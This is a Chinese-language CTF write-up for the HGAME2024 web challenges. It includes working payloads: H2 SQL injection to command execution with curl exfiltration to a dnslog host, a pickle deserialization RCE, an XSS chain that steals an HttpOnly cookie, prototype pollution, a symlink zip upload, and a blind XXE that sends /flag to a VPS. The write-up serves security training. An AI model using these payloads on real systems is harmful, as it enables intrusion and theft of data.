HGAME2024-WEB WP
WEEK 1
2048*16
直接把前端全部扒下来,自己搭建一个本地的环境,我这里用vscode搭建了一个。
然后看下js代码,这里混淆了一堆,实在是难看,就找关键的地方,题目所说的32768
找到了上面这个算式,他的结果就算32768,所以我们只需要将这里修改:
然后本地起服务,随便玩几下,即可得到flag:
Bypass it
通过抓包注册路由可知,前端有代码干扰我们注册:
那么这里我们直接把浏览器的javascript功能禁用,就可以正常注册登录:
写完题目后记得把功能开启!
jhat
oql查询处可以rce,但是根据hint不出网,所以需要回显到页面上,
payload:
new java.util.Scanner(new java.lang.ProcessBuilder("cat","flag").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
Select Courses
用request库或者bp一直发选课的数据包即可,emmmm莫名其妙的题目.....(
ezHTTP
把响应头那边的字符串base64解码即可:
WEEK2
search4member
h2 sql注入
看源码中可以看到注入点:
这里可以拼接造成注入:
哈%' union select 1,2,3 //
那么也就可以执行sql语句了,直接来个rce:
//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');
依次输入以下payload:
a%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";%20 }$$%3B+%2F%2F
a%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgdGFjIC9mKnxiYXNlNjRgLnowbWN1eC5kbnNsb2cuY24=}|{base64,-d}|{bash,-i}')%3B+%2F%2F
成功带入flag
myflask
以当前时间戳作为密钥,那么直接爆破:
# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in range(199000,200339):
#print(i)
res = FSCM.decode('eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcDOEg.XMIkIdvcD9vv8ZHRbxKKzzp68OQ', str(i))
print(res)
if 'guest' in str(res):
print(str(res))
print(i)
#print(key)
exit()
接着爆破出密钥后伪造session,访问flag路由打pickle反序列化即可:
import os
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__(\"os\").popen('cat /flag').read()",))
a=A()
b=pickle.dumps(a)
print(base64.b64encode(b))
Select More Courses
直接爆破出密码:qwert123
登录上去以后去扩学分处不断用bp发包,然后去选课即可:
What the cow say?
拿个反引号一包,就可以执行命令了(不好评价......
梅开二度
利用go的ssti来绕过html编码限制,进行xss(魔鬼吧。。。。。
开局给出了源码:
package main
import (
"context"
"log"
"net/url"
"os"
"regexp"
"sync"
"text/template"
"time"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"golang.org/x/net/html"
)
var re = regexp.MustCompile(`script|file|on`)
var lock sync.Mutex
func main() {
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)...)
defer cancel()
r := gin.Default()
r.GET("/", func(c *gin.Context) {
tmplStr := c.Query("tmpl")
if tmplStr == "" {
tmplStr = defaultTmpl
} else {
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr)
}
tmpl, err := template.New("resp").Parse(tmplStr)
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil {
c.String(500, "execute template error: %v", err)
}
})
r.GET("/bot", func(c *gin.Context) {
rawURL := c.Query("url")
u, err := url.Parse(rawURL)
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" {
c.String(403, "host is invalid")
return
}
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
)
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()),
chromedp.Sleep(time.Second*10),
); err != nil {
log.Println(err)
}
}()
c.String(200, "bot will visit it.")
})
r.GET("/flag", func(c *gin.Context) {
if c.RemoteIP() != "127.0.0.1" {
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag")
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
c.Status(200)
})
r.Run(":8080")
}
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
<title>YOU ARE</title>
</head>
<body>
<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
<div>flag在bot手上,想办法偷过来</div>
</body>
`
一看就是要xss,那么我们的思路是通过xss让靶机的本地请求/flag路由,然后将cookie发送到我们的靶机上。
那么要想实现上述思路,就算需要让靶机的本地进行xss,那么如何让靶机本机进行xss呢,我们看到/bot路由可以让我们请求靶机的本地,而/路由下可以让我们传参tmpl来自定义页面。
假如没有限制,我们可以构造类似:
/bot?url=http://127.0.0.1:8080/?tmpl=<script>alert('gxngxngxn')</script>
这样就可以实现靶机的本地xss,但是这里会对传入的值进行html实体编码,此外还继续正则匹配和长度限制,这也就断绝了我们直接传xss代码的可能,于是想到利用go的模板渲染来进行绕过。
这里也是经过了一些查找,找到了{{index .Request.URL.Query.gxngxngxn 0}},利用此模板,可以获取我们传入的参数gxngxngxn的值到页面上,也就达到了任意可控的目的
xss成功,而且不受任何限制,完美!
那么接下来我们就是要带cookie了,我们可以看到源码中设置cookie的那一段:
c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
这里你本地测试后会发现,这里开启了httponly,也就不能通过寻常的js代码带出,那么这里怎么绕呢?答案还是go的ssti,利用{{.Request.Header}}这个模板,可以打印出我们头部所有信息,其中也包括我们的cookie
ok,两大问题限制都解决了,那么接下俩带出数据就行,由于靶机不出网,所以我们用dns来接收 (大坑!!!)
这边直接给出exp:
location.href = 'http://127.0.0.1:8080/flag';
xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
sendSecondRequest()
}
};
function sendSecondRequest() {
xmlhttp.open("GET", "/?tmpl={{print .Request.Header.Cookie}}", false);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
var flag1=btoa(xmlhttp.responseText);
//获取响应的数据,并进行base64加密
var flag1Hex = "";
for (var i = 0; i < flag1.length; i++) {
flag1Hex += flag1.charCodeAt(i).toString(16);
}
//将响应的数据转化为十六进制,由于在线dnslog平台对字符数量有限制,所以我们通过截取来分段输出
location.href = 'http://'+ flag1Hex.substring(148,200) +'.mzp9rx.dnslog.cn'
}
};
xmlhttp.send('');
}
xmlhttp.open('GET', '/flag', false);
xmlhttp.send('');
将上述代码进行unicode编码后,构造如下payload:
bot?url=http://127.0.0.1:8080/?tmpl=%7B%7Bindex%20.Request.URL.Query.a%200%7D%7D%26a%3D%3CScript%3Eeval(%22%5Cu006c%5Cu006f%5Cu0063%5Cu0061%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu002e%5Cu0068%5Cu0072%5Cu0065%5Cu0066%5Cu0020%5Cu003d%5Cu0020%5Cu0027%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0031%5Cu0032%5Cu0037%5Cu002e%5Cu0030%5Cu002e%5Cu0030%5Cu002e%5Cu0031%5Cu003a%5Cu0038%5Cu0030%5Cu0038%5Cu0030%5Cu002f%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0027%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu0020%5Cu003d%5Cu0020%5Cu006e%5Cu0065%5Cu0077%5Cu0020%5Cu0058%5Cu004d%5Cu004c%5Cu0048%5Cu0074%5Cu0074%5Cu0070%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0077%5Cu0069%5Cu0074%5Cu0068%5Cu0043%5Cu0072%5Cu0065%5Cu0064%5Cu0065%5Cu006e%5Cu0074%5Cu0069%5Cu0061%5Cu006c%5Cu0073%5Cu0020%5Cu003d%5Cu0020%5Cu0074%5Cu0072%5Cu0075%5Cu0065%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu006e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0073%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0063%5Cu0068%5Cu0061%5Cu006e%5Cu0067%5Cu0065%5Cu0020%5Cu003d%5Cu0020%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0069%5Cu0066%5Cu0020%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0053%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0020%5Cu003d%5Cu003d%5Cu0020%5Cu0034%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0053%5Cu0065%5Cu0063%5Cu006f%5Cu006e%5Cu0064%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu007d%5Cu003b%5Cu000a%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0020%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0053%5Cu0065%5Cu0063%5Cu006f%5Cu006e%5Cu0064%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu0070%5Cu0065%5Cu006e%5Cu0028%5Cu0022%5Cu0047%5Cu0045%5Cu0054%5Cu0022%5Cu002c%5Cu0020%5Cu0022%5Cu002f%5Cu003f%5Cu0074%5Cu006d%5Cu0070%5Cu006c%5Cu003d%5Cu007b%5Cu007b%5Cu0070%5Cu0072%5Cu0069%5Cu006e%5Cu0074%5Cu0020%5Cu002e%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu002e%5Cu0048%5Cu0065%5Cu0061%5Cu0064%5Cu0065%5Cu0072%5Cu002e%5Cu0043%5Cu006f%5Cu006f%5Cu006b%5Cu0069%5Cu0065%5Cu007d%5Cu007d%5Cu0022%5Cu002c%5Cu0020%5Cu0066%5Cu0061%5Cu006c%5Cu0073%5Cu0065%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu006e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0073%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0063%5Cu0068%5Cu0061%5Cu006e%5Cu0067%5Cu0065%5Cu0020%5Cu003d%5Cu0020%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0020%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0069%5Cu0066%5Cu0020%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0053%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0020%5Cu003d%5Cu003d%5Cu0020%5Cu0034%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu003d%5Cu0062%5Cu0074%5Cu006f%5Cu0061%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0073%5Cu0070%5Cu006f%5Cu006e%5Cu0073%5Cu0065%5Cu0054%5Cu0065%5Cu0078%5Cu0074%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu0020%5Cu003d%5Cu0020%5Cu0022%5Cu0022%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0066%5Cu006f%5Cu0072%5Cu0020%5Cu0028%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0069%5Cu0020%5Cu003d%5Cu0020%5Cu0030%5Cu003b%5Cu0020%5Cu0069%5Cu0020%5Cu003c%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu002e%5Cu006c%5Cu0065%5Cu006e%5Cu0067%5Cu0074%5Cu0068%5Cu003b%5Cu0020%5Cu0069%5Cu002b%5Cu002b%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu0020%5Cu002b%5Cu003d%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu002e%5Cu0063%5Cu0068%5Cu0061%5Cu0072%5Cu0043%5Cu006f%5Cu0064%5Cu0065%5Cu0041%5Cu0074%5Cu0028%5Cu0069%5Cu0029%5Cu002e%5Cu0074%5Cu006f%5Cu0053%5Cu0074%5Cu0072%5Cu0069%5Cu006e%5Cu0067%5Cu0028%5Cu0031%5Cu0036%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu006c%5Cu006f%5Cu0063%5Cu0061%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu002e%5Cu0068%5Cu0072%5Cu0065%5Cu0066%5Cu0020%5Cu003d%5Cu0020%5Cu0027%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0027%5Cu002b%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu002e%5Cu0073%5Cu0075%5Cu0062%5Cu0073%5Cu0074%5Cu0072%5Cu0069%5Cu006e%5Cu0067%5Cu0028%5Cu0031%5Cu0034%5Cu0038%5Cu002c%5Cu0032%5Cu0030%5Cu0030%5Cu0029%5Cu0020%5Cu002b%5Cu0027%5Cu002e%5Cu006d%5Cu007a%5Cu0070%5Cu0039%5Cu0072%5Cu0078%5Cu002e%5Cu0064%5Cu006e%5Cu0073%5Cu006c%5Cu006f%5Cu0067%5Cu002e%5Cu0063%5Cu006e%5Cu0027%5Cu0020%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu0020%5Cu0020%5Cu007d%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0028%5Cu0027%5Cu0027%5Cu0029%5Cu003b%5Cu000a%5Cu007d%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu0070%5Cu0065%5Cu006e%5Cu0028%5Cu0027%5Cu0047%5Cu0045%5Cu0054%5Cu0027%5Cu002c%5Cu0020%5Cu0027%5Cu002f%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0027%5Cu002c%5Cu0020%5Cu0066%5Cu0061%5Cu006c%5Cu0073%5Cu0065%5Cu0029%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0028%5Cu0027%5Cu0027%5Cu0029%5Cu003b%22)%253b%3C%2FScript%3E
注意上述url编码中有很多小细节需要注意,稍微错误就会导致失效,所以建议先本地测试,方便看清楚我们传的值究竟是什么
(ps:md,在构造上述payload的过程中几乎把所有坑都踩了一遍,无语了)
成功接收到十六进制数据,转化为字符串后进行base64解密即可:
WEEK3
WebVPN
审源码可以看到update那里很明显的原型链污染,直接传
POST /user/info HTTP/1.1
Host: 106.14.57.14:31371
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: my-webvpn-session-id-202c35e8-7d61-4228-8278-93f8f662551f=s%3AaFLajep37rbWq895NmUZTymAgCGqTEE5.ZdUxLauYiFTmPI7W8x2eqbVlZQEdNDpzIldfVQqotCA
Upgrade-Insecure-Requests: 1
If-None-Match: W/"2fb-vN/YK1PeVghRxrmf1mEfj9Me4gw"
Content-Type: application/json
Content-Length: 49
{"constructor":{"prototype":{"127.0.0.1": true}}}
再回到home页面,看到污染成功
接着直接访问即可
得到Proxy文件,打开即为flag
Zero Link
首先我们要通过/api/user处拿到Admin的密码,但是从源码中可以看到限制了我们username和token不能传Admin和0000,所以这里怎么办呢?
参考:Go语言特性引发的安全问题的思考 | CTF导航 (ctfiot.com)
看到是gorm数据库和json类型的结合,这个gorm库其实也可以通过id来定位,那么Admin的id是0,直接传:
{"Username":"","id":0}
即可得到Admin的密码
登录进去后看到可以上传文件,还有解压的功能:
这个一眼就是ciscn2023 unzip的解法,直接参考我之前写的:https://www.cnblogs.com/gxngxngxn/p/17439035.html
通过软连接弄两个压缩包,分别传上去,然后全部解压即可
这里只需将secret覆盖,里面的内容换成/flag即可
import requests
Cookie={"session":"MTcwNzk5ODExOXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV8_LDldFLPPX3ke76aWroLAK2oFDpN-3gU6pg7-OpdtM0="}
def upload_zip_file(url, file_path):
try:
file_name = '2.zip' # 指定要上传的文件名
files = {'file': (file_name, open(file_path, 'rb'), 'application/zip')}
response = requests.post(url, files=files,cookies=Cookie)
if response.status_code == requests.codes.ok:
print(response.text)
print("文件上传成功!")
else:
print("文件上传失败!")
except IOError as e:
print(f"文件打开错误:{e}")
# 示例用法
upload_url = "http://106.14.57.14:30864/api/upload"
zip_file_path = "C:\\Users\\86183\\Desktop\\fsdownload\\2.zip"
upload_zip_file(upload_url, zip_file_path)
然后访问/api/secret即可得到flag:
VidarBox
给出了源码:
package org.vidar.controller;
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;
import java.io.*;
@Controller
public class BackdoorController {
private String workdir = "file:///non_exist/";
private String suffix = ".xml";
@RequestMapping("/")
public String index() {
return "index.html";
}
@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
if (content != null && this.safeCheck(content)) {
XMLReader reader = XMLReaderFactory.*createXMLReader*();
reader.parse(new InputSource(new ByteArrayInputStream(content)));
return "success";
} else {
return "error";
}
}
private boolean safeCheck(byte[] stream) throws IOException {
String content = new String(stream);
return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
!content.contains("doctype") && !content.contains("entity");
}
}
源码很简单,通过/backdoor路由可以读取本地文件,然后会将读取的文件当成xml解析,这里很明显的就是打一个无回显xxe,我们可以采用带出数据到自己服务器上的方式解决。
由于我们熟知的file协议一般用来读取本地文件,所以这边先本地搭建环境打打:
这边本地放一个1.xml文件
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://81.70.252.29/1.dtd">
%remote;%int;%send;
]>
然后在vps上放个1.dtd文件:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://81.70.252.29/1.txt?p=%file;'>">
我们看到这里有check,那么很简单,用编码绕过即可
iconv -f utf8 -t utf16 1.xml>2.xml
得到2.xml,我们直接读取看看:
可以看到带出本地数据成功了,那么接下来就是要如何读取远程的文件了,我们的思路很简单:
将2.xml放到vps上,然后让靶机读取即可
那么这里就有新的问题了,用file协议怎么读取远程文件呢,一般我们认为file协议都是用来读取本地文件的
直到我看到了这段话
这说明file协议有着ftp协议类似的效果,我们可以本地调试一下:
传入如上数据时,我们可以看到报错了,很明显这是ftp的报错,因为我们传入了错误的账号密码
虽然错了,但是证明了ftp协议是成功了,我们可以读取远程的文件,那么接下来只需要传入正确的账号密码即可
我们下断点,跟进调试可知:
如果我们没有传入账号密码,那么这里会自动给我们传入一个默认的账号密码:
账号是anonymous,密码跟你的jdk版本有关
我这里是17.0.10,所以我默认密码是Java17.0.10@
那么靶机的jdk版本是多少呢,这里我就猜了一下
从17.0.0-17.0.10一个个试,很幸运靶机的jdk版本是17.0.1,成功命中
那么我们在vps上起个ftp服务,将账号密码如上设置为anonymous:Java17.0.1@,并将2.xml放在目录下,接着在靶机处连接即可:
成功拿到flag